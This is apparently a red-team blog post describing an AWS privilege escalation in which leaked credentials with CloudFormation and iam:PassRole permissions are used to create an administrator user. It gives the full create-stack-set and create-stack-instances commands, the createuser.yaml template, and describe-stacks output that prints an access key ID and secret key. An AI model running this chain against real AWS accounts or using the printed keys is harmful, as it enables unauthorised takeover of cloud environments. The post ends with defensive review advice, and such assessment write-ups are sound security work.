Back to blog
Red Team

AWS CloudFormation Abuse to Full Environment Takeover

A detailed walkthrough of a privilege escalation attack chain exploiting AWS CloudFormation and IAM PassRole permissions to gain administrative access to an AWS environment.

Date
02/14/2023
Read
2 min read
Cat
Red Team

Introduction

During a security assessment, I found exposed AWS credentials with CloudFormation and iam:PassRole permissions. Combined with existing CloudFormation administration and execution roles, that access let me create an administrator user. The video below demonstrates the chain.

Obtaining AWS Credentials

I used TruffleHog to scan GitHub repositories and found AWS credentials in the repository history. The credentials were no longer present in the current files.

The associated IAM role had the following permissions:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": "iam:PassRole",
            "Resource": "*"
        }
    ]
}

and

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "cloudformation:*"
            ],
            "Resource": "*"
        }
    ]
}

Privilege Escalation Attack Chain

The environment already had CloudFormation administration and execution roles. The execution role had administrator access, and the compromised role's CloudFormation and PassRole permissions allowed me to use that deployment path. I supplied a template that created a new IAM user with the AdministratorAccess managed policy.

To initiate the attack, I executed the following command using the compromised IAM role:

aws cloudformation create-stack-set --stack-set-name exploit-stack-set --template-body file://createuser.yaml \
--description "stackset to create an admin user" \
--administration-role-arn arn:aws:iam::657989423626:role/AWS-StackSet-AdministrationRole \
--execution-role-name AWS-StackSet-ExecutionRole \
--region us-east-1 \
--parameters \
ParameterKey=USERNAME,ParameterValue=stackset-admin-user \
ParameterKey=PASSWORD,ParameterValue=SuperSecurePassword@1 \
--capabilities CAPABILITY_NAMED_IAM \
--profile compromised_user

This created a stack set using createuser.yaml. The template defines an IAM user with administrator permissions, an access key, and outputs for retrieving the credentials:

Parameters:
  USERNAME:
    Type: String
    Description: Username of the user principal to be created
  PASSWORD:
    Type: String
    NoEcho: true
  MANAGEDPOLICIES:
    Type: String
    Default: arn:aws:iam::aws:policy/AdministratorAccess

Resources:
  AdminUserWithPassword:
    Type: AWS::IAM::User
    Properties: 
      LoginProfile:
        Password: !Ref PASSWORD
        PasswordResetRequired: False
      ManagedPolicyArns:
        - !Ref MANAGEDPOLICIES
      UserName: !Ref USERNAME

  AdminUserAccessKey:
    Type: AWS::IAM::AccessKey
    Properties:
      UserName: !Ref USERNAME
    DependsOn: AdminUserWithPassword

Outputs:
  AccessKeyId: 
    Value: !Ref AdminUserAccessKey
  SecretKey:
    Value: !GetAtt AdminUserAccessKey.SecretAccessKey

Next, I executed the following command:

aws cloudformation create-stack-instances --stack-set-name exploit-stack-set --accounts 657989423626 --regions us-east-1 --operation-preferences FailureToleranceCount=0,MaxConcurrentCount=1 --region us-east-1 --profile compromised_user

This deployed a stack instance in the specified account and us-east-1 region using the compromised profile.

Finally, I ran the following command to retrieve the AWS credentials:

aws cloudformation describe-stacks \
--region us-east-1 \
--profile compromised_user

The output of this command is below which highlights the creation of the Administrative AWS credentials!

{
    "Stacks": [
        {
            "StackId": "arn:aws:cloudformation:us-east-1:657989423626:stack/StackSet-exploit-stack-set-82f4216c-4d1e-4a53-b7db-138cd8563800/c53f9b90-125e-11ee-a1d6-0ec75c9a70f7",
            "StackName": "StackSet-exploit-stack-set-82f4216c-4d1e-4a53-b7db-138cd8563800",
            "Parameters": [
                {
                    "ParameterKey": "PASSWORD",
                    "ParameterValue": "****"
                },
                {
                    "ParameterKey": "MANAGEDPOLICIES",
                    "ParameterValue": "arn:aws:iam::aws:policy/AdministratorAccess"
                },
                {
                    "ParameterKey": "USERNAME",
                    "ParameterValue": "stackset-admin-user"
                }
            ],
            "CreationTime": "2023-06-24T07:14:34.252000+00:00",
            "RollbackConfiguration": {},
            "StackStatus": "CREATE_COMPLETE",
            "DisableRollback": false,
            "NotificationARNs": [],
            "Capabilities": [
                "CAPABILITY_NAMED_IAM"
            ],
            "Outputs": [
                {
                    "OutputKey": "SecretKey",
                    "OutputValue": "WTfTPAIPf3fQZ/MaASnWWRGkc95LeOd2+uFp+mkO"
                },
                {
                    "OutputKey": "AccessKeyId",
                    "OutputValue": "AKIAZSMZZ2IFMEZVSAPJ"
                }
            ]
        }
    ]
}

Reviewing this access path

The exposed credentials mattered because they could invoke a more privileged deployment role. Reviewing either CloudFormation access or PassRole in isolation would miss that combination.

For a review of this environment, I would trace which roles a caller can pass, which services can use them, and what those roles can create. Repository history also needs attention when investigating credential exposure; removing a secret from the current file does not revoke it.

For another example of excessive cloud permissions, see a GCP service account that could read everything.

Written by

Austin Ballard

Cloud security specialist with expertise in AWS security and infrastructure penetration testing.

Share

More in Red Team

All posts